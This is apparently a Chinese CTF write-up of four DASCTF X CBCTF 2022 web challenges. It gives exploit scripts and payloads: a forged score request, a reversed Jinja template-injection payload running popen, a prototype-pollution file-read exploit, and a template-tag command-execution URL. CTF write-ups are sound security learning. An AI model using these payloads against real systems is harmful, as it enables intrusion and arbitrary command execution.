• DASCTF X CBCTF 2022九月挑战赛


    dino3d

    找给 check.php 发包的那个部分。
    在这里插入图片描述
    可以在开发者工具里全局搜索一下,发现是 sn 这个函数发的包,代码有点乱可以美化一下
    在这里插入图片描述
    在 sn 函数中看到了三个参数的设置。

    sn(e, t) {
            e && t && fetch("/check.php", {
                method: "POST",
                headers: {
                    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
                },
                body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
            }).then(e => e.text()).then(e => alert(e))
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    先看一下是在哪边调用的 sn ,然后一个一个的跟踪就行了。
    在这里插入图片描述
    搜索 checkCode ,checkCode 由一串字符串和 salt 构成,而 tm 是时间戳,score 是分数,最后就可以构造 exp了。

    var checkCode = "DASxCBCTF_wElc03e" + salt;
    var salt = "_wElc03e";
    
    • 1
    • 2

    exp:

    import requests
    import hashlib
    import time
    
    url = 'http://node4.buuoj.cn:29103/check.php'
    
    score = '100000000'
    checkCode = hashlib.md5((score+'DASxCBCTF_wElc03e').encode()).hexdigest()
    tm = int(time.time())
    data = {
        'score': score,
        'checkCode': checkCode,
        'tm': tm
    }
    
    req = requests.post(url=url,data=data)
    print(req.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    Text Reverser

    过滤了很多,但是倒置一下不仅可以绕过还可以执行,当然 {{ 是不行的,可以用 print 代替。

    payload

    a = "{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read()%}"[::-1]
    print(a)
    
    • 1
    • 2
    }%)(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{
    
    • 1

    像找可用的类在哪一个位置,可以用文本编辑器来直接找,当然位置要减一,因为数组从0开始。
    在这里插入图片描述

    cbshop

    if(username === adminUser.username && password === adminUser.password.substring(1,6)
    
    • 1

    密码根据上面的 password === adminUser.password.substring(1,6)运行一下即可
    在这里插入图片描述
    在 burpsuit 里抓包登录,
    在这里插入图片描述

    但是想拿 flag 还需要 token,但是 user 里没有 token 属性。

    var user = {
            username: req.session.username,
            money: req.session.money
        };
    
    • 1
    • 2
    • 3
    • 4

    审计 buyApi 有原型链污染,product 是我们 json 数据转化来的,且 Object.assign 会把我们 json 格式后的请求,复制到 user 里,而这里如果我们的 user.username__proto__,这样的话就会将 product 对象合并到 order__proto__ 中,而 userorder 的原型都是 Object ,是同一个原型,当 product 中构造 token:true 时,user.token 访问为 true 即只需要登录 admin 后修改用户名为 __ptoto__

    let order = {};
        if(!order[user.username]) {
            order[user.username] = {};
        }
    
        Object.assign(order[user.username], product);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    但是读 /flag 会有 waf。
    在这里插入图片描述
    程序会将 json 转化为对象,那么如果将 json 中 name 的修改为一个对象 {} 发送可以看到这样的报错,也就是说不仅可以传字符串,也可以传一个 URL 实例。
    在这里插入图片描述

    if(JSON.stringify(product).includes("flag")) {
                    Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
                }else{
                    user.money -= 11;
                    Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
                }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    /buy 下 发送 json 包

    {
        "name":{
            "href": 'file:///fl%61g',
            "origin": 'null',
            "protocol": 'file:',
            "username": '',
            "password": '',
            "host": '',
            "hostname": '',
            "port": '',
            "pathname": '/fl%61g',
            "search": '',
            "searchParams": "URLSearchParams {}",
            "hash": ''
        },
        "id":2,
        "token":true
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    exp:

    import requests
    session = requests.Session()
    
    url = "http://24cc995a-fe48-4570-8e0e-75ca1e9c58f2.node4.buuoj.cn:81/" # 题目url
    
    def login():
        data = {
            "username": "admin",
            "password": "\uDE00admi"
        }
        session.post(url + "login", json = data)
    
    def changeUsername():
        data = { "username": "__proto__" }
        session.post(url + "changeUsername", json = data)
    
    def buyFlag():
        data = {
            "name":{
              "href": 'file:///fl%61g',
              "origin": 'null',
              "protocol": 'file:',
              "username": '',
              "password": '',
              "host": '',
              "hostname": '',
              "port": '',
              "pathname": '/fl%61g',
              "search": '',
              "searchParams": "URLSearchParams {}",
              "hash": ''
            },
            "id":2,
            "token":True
        }
        res = session.post(url + "buy", json = data)
        return res.text
    
    if __name__ == '__main__':
        login()
        changeUsername()
        flag = buyFlag()
        print(flag)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    zzz_again

    不得不感叹一句,还是代码读的太少。
    这边就跟着wp从后往前看吧,在 parserIfLabel 中我们绕过 danger_key 就可以执行 eval 了。
    在这里插入图片描述
    而 danger_key,可以用 strtolower(“SYSTEM”) 绕过。
    在这里插入图片描述
    而 parserIfLabel 又是由 parserCommom 解析全局公共标签 来的
    在这里插入图片描述
    而 parserCommom 又在 zzz_client.php 被调用,且有多处调用,那么应该选哪一个呢?
    在这里插入图片描述
    那么就要分析各个解析列表分页标签的函数了,这边是用 ParserTemplate::parserListPage 来解析。

    因为这个 list 解析列表分页标签,
    从 $_SERVER[ ‘REQUEST_URI’ ]中获取url并稍作修改,此处没有任何过滤或者编码
    inc/zzz_template.php:2436 会做一些简单的拼接
    inc/zzz_template.php:2437 替换掉正在执行的模板文件

    一句话概括,没有任何过滤和编码,这样我们传进去的 if 标签便不会被过滤。
    在这里插入图片描述
    在这里插入图片描述
    所以这边的 location 要为 list,到此基本结束。

    payload:

    /?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111
    
    • 1

    这里的 if 标签里加个 = 是因为,foreach 里的 if 判断,当然其他像 <>、or…都可以
    在这里插入图片描述
    在这里插入图片描述

    reference

    http://www.ctfiot.com/57949.html
    
    • 1
  • 相关阅读:
    解放双手!一键助你快速发圈、批量加好友,好用哭了!
    STM32 NAND FLASH知识点
    pytorch hook机制
    问题复盘|在使用 Gson 时,报 Failed to parse date [““] 错误
    Unity入门06——Unity重要组件和API(3)
    Docker GitLab-Runner安装
    PHP基础笔记-NO.1
    世界杯球队分析
    基于SD卡的嵌入式Linux系统镜像制作
    CatFly【汇编代码还原】
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127366629